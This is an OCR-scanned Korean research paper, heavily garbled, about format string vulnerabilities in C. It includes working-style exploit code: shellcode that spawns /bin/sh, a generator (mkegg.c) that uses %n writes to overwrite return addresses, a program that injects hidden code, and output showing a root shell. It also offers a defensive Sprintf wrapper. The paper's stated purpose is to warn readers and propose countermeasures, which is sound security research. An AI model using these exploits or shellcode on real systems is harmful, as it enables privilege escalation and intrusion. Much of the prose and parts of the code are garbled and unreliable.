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A Study on the Effect of Format String on
Secure Programming in C Language

Hyung-Bong Lee'- Hong-Jun Tcha'' - Hyung-Jin Choi''*

ABSTRACT

One of the major characteristics of C language is that it allows us to use pointer type variables to access any area of virtual address space.
So, we can read/write/execute from/to virtual memory area not controlled delicately by operating system. We can access such memory area
by using format string and it can be a vulnerability of C language from the point of secure programming. In this paper, we analyze in detail
the process of security attack based on format string and then exploit a new virus style attack which is stepwise and durable with some actual
scenarios to warn the severity of it, and grope for some preliminary responding actions.

F|9E : RUAEG (format string), HIOIR{A(virus), HIHE& (buffer overflow), HEZ M (array bounds), HSIRA=(malicious code).
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#include <stdio.h>

sub(char str{])

main() { {
char  buff16] ; str[100] =0 ;
fgets(buf, 160, stdin) printf(str) ;
sub(buf) ; }
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@ call sub
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@ leave

@ ret
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#include <stdioh>
main()
{
int  posl, pos2;
printf(“first length%n second length%n”, &posl, &pos2) ;
printf(“first = %x, second = %xWn", posl, pos2) ;
}
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if (illegal input(buf)) {
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syslog(LOG_WARNING, err_msg) ; ",
return ;
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0xf4(244) Oxft(255)
Oxbffffd81  — Oxbffff481

0Oxbf(191)
Oxbfftf481

AZAAE A3 Oxde < O0xf4 < Oxff 9 Zo] vlo|E
o] A& F7lele 7t Hol st0~str2E H4A ¥ F
Ak zY o WA F 0xbf(191)= dA7AA TAE
2389 F4o] 256181} FopA Tt o] Aol Ox
bf thAldl Ox1bf(447)7t Y& & A=H st3& TA Y,
dl WA %nol 93t Oxbf, 0x01, 0x00, 0x009] 3 &&
Oxbffff473%-E 32 HY & F Uk =X su3E 190
(447-255-2)709) 0x903} & HE9 Oxeb22 FAE.

ol 3} o] EAFA Holxy= HEPo] little-
endian 49 AFTzel7] W] & WA FiH
ulo|E whel2 A3 ol 1PoE FHIHW (2¥ 5
oz

Oxbftti470  OxDIFt471  Oxbifit472
(1 5) %nol SHFLE HoiM4E 2y

Oxbffff473

Ao AAo w2t YHEALE BP3te C 2ade
(B4 3) mkegg.col HERARATE 71X eggshellll [5]]
ANE 4 AA(exec (“/bin/sh")E AE 7Aoo =0Tt
(#4 39 4 288 (Z2aYP 9o BEE 4EY o)
=g B3 (#A 93 Zo] Aedd (T2 47t 4=
sty ALRA7E Q18T HEE AT o o (ZR
I 4)7} cjzol B ATAA FAHD JAAGE A=
AAE 4 =3 3R 8L 27T

wetd ¥RrEY HAHE A= AHgAe @A
Aoz 2o @ ZAFE A €rh

#include <stdio.h>
char eggshelil] = “WxebWx24Wx5e¢ Wx8dWx1eWx89Wx5e Wx(b
Wx33”

“Wxd2Wx8IWxS6WxO7TWxBIWX56Wx0OfWxbBWx1bWx56Wx34
Wx12”

“Wx3EWx10Wx56WxH4Wx1ZWxB8dWx4eWxObWx8bWxd1Wxed

Wx80”

“Wx3BWxcOWxAOWxcdWx80Wxe8Wxd7WxffWxffWxffWhin
Wsh” ;




main()

{ char  xxccl256], str0[1024], str1[1024],
str2[1024), str3[1024] ;

int i;

memset(strQ, 0, 1024) ; memset(strl, 0, 1024) ;
memset(str2, 0, 1024) ; memset(str3, 0, 1024) ;
memset(xxcc, 0, 2596) ;

for (i=0;i<19;i++)

strepy{(&xxocli * 2], “%c”) ;

memset(str0, 0x90, 0x0ce-16-19-2);

memset(str], 0x 90, 0x0f4 - Gxce - 2) ;

memset(str2, 0x 90, 0x Off - 0xf4 - 2) ;

memset(str3, 0x 90, 0x 1bf - 0xff - 2) ;
prntf(“WxTOWxf4WxEfWxbf” “Wx7TIWxfAWxfWxbf”
“WXTZWxEAWXEEWxbf”  “WxT3WxIAWxHfWxbi” “%s”
“9%%sWxebWx02%%n”  “%sWxebWx023%n"
“9%sWxebWx02%6%n"  “%sWxebWx02%%n"  “%s”,
xxce, str0, strl, str2, str3, eggshell) ;

}

(B 3) LHEXNY 48 «f C 223 2

# (/mkegg ; cat) | /fmt
id
uid = O(root) gid = O(root) groups = ({root)

who
hblee pts/0 Jun 16 15: 00 (hblee.honam.ac.kr)
root pts/1 Jun 16 20 : 20 (hblee.honam.ac.kr)

(B 4) AHBXHE HEs0 dE 4y

3 ZRAEYo| ot ujojaiA Yefe MEE &
gL

e 23 Aelde FH YHEAL st dHuH
Yol EAste Asia=g AJAe2N BAHsd =
g3te $3E AW 29y 9rixe 23§ 2E 4
A e de g8 TRAEY o5t upolrg 2
o] dAo T A&AHU M2 FEle RAHHT e
& AFH AYeEles #4 A7 & ERAEFHA 9
dte] =g doo] A AP w2 Y W H
A LA A&Hoz APNL 5 Qe o A& AP
o] ol ZWolA 134 B FERT 65 AY
Holgtn T¥ «+ Ut

31 s a=9 =ty

gaaErt A&Hez 3EH7 M= Hslz=d
Tz 2RdA 49 BAFAZ HZE £ glojof ). o]
' 9499 EAFLE (34 1, 244 g F glemz
(0x08048506) 7Hs3tth. & =Fo M (Z2ad 6)9 vt
olz|2 Feje Y=g st AR Ed, o] 2=E
3249 vrd write) A2¥ 535& AH3IY T am hid-
den code !!\Wn"9] EAIES ¥F 2342 E¥stn ¢
#o] zzaPeq HEoY (Z2aY 6)9 A4 A
49 ngAge o83 I

CHG{OIAM ZEH 2EZO0| T2 SOt} DiXls B 699

o 71710} Z=o] 0x00(null F4H7 HUHA G=& Pt
movl $0x01,%ecx 71Aol Z=E x00L L2 o]E
xorl %eax, %eax, movl %eax, %ecx, incl %ecx 9 A %
o2 FHFP) movl 0x15 %edkx EFE movl %eax,
%edx, movb $0x15, %d & dX&H Y AAE =0

orlAe] ZEs AAHCE AMA 7HssHES(reloca
table) ¥t} :

push %ebx 53
xorl %eax, %eax # make zero 31,0
mov  %eax, %edx # 3rd arg - len 89,c2
movb $0x15, %l b2, 15
o imp I3 éb, 10
. —%ecx‘ ..... ™, # 2nd arg - buf 59
movl %eax, %ebxi # lst arg - fd# 89,3
. i 43
incl  %ebx i b0, 04
0, H *
movh $0xd, al cd, 80
| 5b
ba, 06, 85, 4, 08
52
c3
eB, eb, ff, ff, ff
. . 49, 20, 61, 64, 20,
string W*I am hidden code "'WWnW" 2121 0a,00

(Z273 6) Hjol22Y HHMI= A 7[H0R=

write) Al29 & 83 WH(EAY) F4E movl
$Oxbffff--- %ecxst Zo] UFALE ALEdok st o] F
2 982=g A4 AAd w2t dEy] Wi A
of olg :std AQFAE HFsA A AHk Ak
a8y (2239 6= B A call F3E ol
A&, call 29 HHFALE BAFLE UF3o 2H
o AZRA & & 2 &2 Aol AHLFT F call F
o] e L3Z HEFY, call 32 B34 jmp HIE T
& 5239 =839 Ao 8L AANA g1 29 o
ET 3t o ALl o of 28 &g Ad HEA
BE 3% 9494 "tk

sz 4y viAY HEo= FHozEE slERW
(intercept) Q29 A2 HEotd & Qv Z=F wiA
Lis=d
oz A9 BEAFLE Ado] ¥u BH(ret FH)
g ANEgo2R 73

32 fisiace) Hel

FY2/EE2 E3AAE 29 AEd WY RN
Aol dold wivith §FAEH. w2y BA WH e 9
Ag Y oz ASHA %E top WYY 29
g O oy & ojA IR ARIS=E nPHoER
Holge + 3o
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Relel AN AHa= AAE AR2=F 4 wol= for G031 <1030 1o iy o call hidden cnde +
A Usol BAFALE Holid WHoE o Hd ZH if forkO==0){ N
JAEAGE B ALHA sk o o Fol e oA S
AL oy 8 ge=HE EXgEel 47 5yyez & : poke(LOCT_RETA, (uchar *)(&codedst)) ; exit(0) ;
g5 JHHA R it EXER ddH AHFH else
W AH2E Aol UAF Aojeke etk & o ¥ ,  hllwat&SEO <O qas s
e 4 23YERNA 7749 Edd FAEE 7749 }
=99 A~ 288 £7 QoA © oA A} ?oke(uchar *target, uchar valuel ]}

HA %ﬂ'q‘. char xxcc[256), str0{1024],

stri{1024], str2[1024], str3[1024] ;
. char *str{4] = {str0, strl, str2, str3};
33 A a=e XI%E & int I plen ;

memset(xxcc, 0, 256) ;

ARz &L 9l EAFLTE Hoxk &4 memset(str0, 0, 1024) ; memset(strl, 0, 1024) ;
g 9PN oFoFL (X2 Nl #d A memset(str2, 0, 1024) ; memset(str3, 0, 1024) ;
for (1=0;i<19;i++)
Z 99z=8 (Z2IY 49 29 AR(0xbffff0od)o] 4 strepy{(&xxecli*2], “%c”) ;
Qate BB} doit()ol A e B2 (0x08048506) ¢ EH for i=0, plen=16+19+2;i<4 && valueli] 1=0;i++) {
T T R if (valuefi] > = plen)
Zx0] AL X (0xbffff470)S 7193t A&4(10¥) memset(str(i], 0x90, valueli] - plen) ;
o » n = else )
oz a8 APAIe FEoE FAHHE 4F5H =& memset(str(i), 0x90, valuelil + 0x100 - plen) ;
L AABFT o] ZRaPL Fojd 4 HolE FA plen = value[i] + 2 ;
=] 3} = 5 a2 } )
(ZAE 499 FHoR st MEFF poke()E A printf( “%6c96chcdec”  “Y%coceIic”  “%ckccIc”
2 AN 58 TEAA(fork() A2 3F A7 “06e6c6co6c” “%s”  “%sWxebWx02%6%n”
o . N “9¢ Wx0206%n"  “%sWxebWx0296%n”
5234 $ozA ERAEY HeAe BAE G4BT, T eoana e xQ226360
(#4 5ol (Z2ad 7)o] (ZE21Y 48 dA4esE ¥ BYTEO(target + 0), BY TE1(target + 0), BY TE2(target +0),
N . - _ BYTE3(target + 0), BY TEO(target + 1), BY TE1 (target + 1),
W2EY BdisE A=d ARE HAL, (2E 6de BYTE2(target + 1), BY TE3(target + 1), BY TEO(target + 2),
o] HAo] qo MIES Ve BYTE] (target + 2), BY TE2(target + 2), BY TE3(target + 2),

BYTEO(target + 3), BY TE1(target + 3), BY TE2(target + 3),
BYTE3(target + 3), xxcc, str0, strl, str2, str3) ;

#include <stdio.h> /* mkegg.c */
typedef unsigned char uchar; typedef unsigned int uint ;

n27 olsilacel A0 gl XA &
#define BYTED(add)  ((uint)(add) & 0x0fD) (Z238 7) A2 o % NEA 2@
#define BYTEl(add)  (((uint)(add) >> 8) & Ox0ff)
#define BYTE2(add)  ((uint)(add) >> 16) & Ox0ff) F/mieg | Jimt Tiying -
#define BYTE3(add)  (((uint)(add) >> 24) & 0x0ff) Trying - I am hidden code !!!
#define OODE_NEST  (uchar *)0xbffff004 /+ASIZ=HA +/ I am hidden code ! Trying -
# define RET__ADDR 0x08048506  A+BAFA 3t ¥/ Trying - I am hidden code !!!
= 2 I am hidden code !!! Trying +
#define LOCTRETA (uchar OIA10 /3 AF2H o Trving —m [ o code Il
uchar eggwrite[] = “Wx53Wx31 WxcOWx8IWxcZWxb?2 I am hidden code !!! Trying -
“Wx15WxebWx10WxSIWx8IWxcIWx43Wxb0Wx04” Trying < I am hidden code !!!
“WxcdWxBOWx5hWxbaWxB0WxB0W x80WxB0Wx52" %am hidden code !!! ?mnghi;;;l o 1t
P . .. rying - am code !!!
.\zxc.'j'erSerbfofoffoﬁI am hidden code !''Wn" ; I am hidden code M
main

{
uchar *codedst, *codesrc, *retaddr, i;
int stat ;
codedst = CODE_NEST ; codesrc = eggwrite ; L SEEI D <z=2ad 7>
+((int *){eggwrite + 19)) =RET_ADDR ; . ' ; a
for ( ; codesrc < eggwrite + sizeof(eggwrite) ;
codedst + = 4, codesrc +=4) {

(2 5) XI&HQ HSE= FR(ZT2Y 7)

if (fork() == 0) {
poke(codedst, codesrc) ; exit(0) ;
}
else
while(wait(&stat) <0) ;
} /x A= A9«

(O2! 6) YT X&X S& WY




4 SRAEY HeotHMof oift o SYyet

FR2EY B E 2344 APE vis Zol W
Wil o¢ BEAFAe A94 ¥R 4 dd o
g oot} utebd wizdie] HE AF 3Tl
EU2EYE HEd F YAT ERLEH] S o
AT S ool #rh

4.1 LurEol s A o 3weH12, 13

4.1.1 viEdAe] €34 wA

Hsidi e B¥de Ao AHdde HdezM C A
B g Bedte] WdHzol 87HE Xuit W 3
Ag zAEte 2=E A% EH3csH ARG 3y
o] ke HEdA AME AHEEHA Fotk o]fojF
Ae TR2EY FHAE HEE F U4

4.1.2 299 APR AA

28 o] AT A= AL B g, ®
P2EY FYPL AEEL T2 A2 299y o]9lg
ol XL uE F A7 HE oje ZEHA ol
g 4 gtk dE B0 gsa=rt £¥E F3 FH o
B g 3235 BAFAE AT A9 2499 49
2=E g8X gt

4.1.3 289] APL FHA AAl

29 AFH Qe BAFL Y ¥ HFE RARE
Hetoz 37 ZAARE o] &3te WHH FFAAY v
g B371%S 343t el Aok AAA HEe B4
F2 ol A9 FAEAE WX Fe] EAAA FAE
Ao WA Rg zAFoZA HAHYIE EAY & 3
o} vze BIr%e &% L EAFAI 2EE ¥
o]z AAe] 2/1FAE AAdT YA ¥ dig 2
71 ZERHNA dPFozx EAFL HRFE BAY
o}k A BEE AR HAV E2HE ER2EH
297 g, MEE RIJ)%S ER2EFY Y 347}
FEAT et EAE @t

42 TUAE-o| HF# ot

FR2EFY IFE WHoz TOEH Zo] IR2EY
& Agse g A375E Fse BER AR
YHEALe] XTH2EY FJE st WYe AN
F U

4.2.1 IN2EF A4 g9 AF7% A

ER2EYE ARHE BE FFAA Ao A dd
e AdSr 25 A8 dA =g ATt ¥y
dd, wAEse FHF X AR A HFL ALY
olgc}. a8y (Z2ad 49 F IdeA BE v 2

COHOOIM FE AER0| Z23 O OlXls B 701

o] WAdse A7 2dzHYdE 2a RojuA ¥EE
AFsd ER2EY BgIHE FAE & Sk (T2O
A 8o sprintf() &% FLE YE|Ho|2E AFTHAAN H9
71%€ FI8 HFo 48 AT sprintf)E E2
gozx ¥AU2EY HPANE FAd}E 48 =
(Sprintf(), (2223 4)9] sprintf)& Sprintf()2 8331
(X2 8¢ 28 F (222 D& A=dHd “For-

QY 4 gt ol ke FAFFAA 4ol YA e
fued.

#include <stdio.h>
#include <stdarg.h>
Sprintf(char *sp, char *fmt,--)
{
char  #*tp, *argp, *frame ;
va_list ap ;
argp = ((char *)&p+12); /* first argument */
frame = (char *)#(char **)((char *)&tp+ 4); /* previous */
for (tp = fmt; *tp 1=0,;tp++) { /= stack frame */
if (»tp=='%")
argp+=4;
if (argp > = frame) {

exit(0) ;
}
}
va_start(ap, fmt) ;
retum(vsprintf(sp, fmt, ap)) ;

(Z27% 8) sprintf() Ere| ZAEZ] Z{ZF4lot

4.2.2 AR} YEEAES ER2EF o] AT

IR2EY WA AHEA IR2EHE YO8 £
A8 £ e AHERYH 239 g AR 4Y
# EAgo] ofH Hfodr TAXEH FoAsx] RIcE
Z2a3e AAEE IR2EY B E TR 2§
o). d& Eo] printf(buf) &3 printf(“%s”, buf)?} Zo
FARE kATt o] WL T WHEAA e 4
A A4E A 5 dde & FHE FA ATV

a3y gEussl o Pl HEHo A4E Y
I Wy ERAEY FoqoR go] 4A ¥t o] 4
g #ds= 13 $& Ee 2TEYFHAQA 34
N ARL23E GA47] AHES Ao T2y
Hol Al =& FE Aot

53d &

ASAA HHER € XA2EY 4@ AP Bt
Ad A4 did AFH B4 A, TA2EFH %
1t 9¥F0ln AeHA M2 A 7HsHE 4%
H Aveest ¥4 AZlgg o] £HE HolHA BH
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o Aol A&HA B AHPAT} FHedts] dEd
¢ A8 TIPS Y TU2EY B of
F oeet 84 ASE ul, 2ZEHZTHAA AL
FAF Z2aY FAe| O PHEANY FA8E AT
F e M HAe dgeln oE AN E BY &23
= ¥ gA47I Ze =79 AHo] F Ego] dnh=
CE S e

2 =22 vEdl € TR2EY B s o
ekl dig AAE 24 2 FAANNE FAA AoV
W Hek7led B B9 o o AEAY R HMHE
gdxoz AYsted 798 £ doe Hold 7t
A g, :

o B =BS HELE AY £2IE HHY R
@ =7 #F A7t ool Aot
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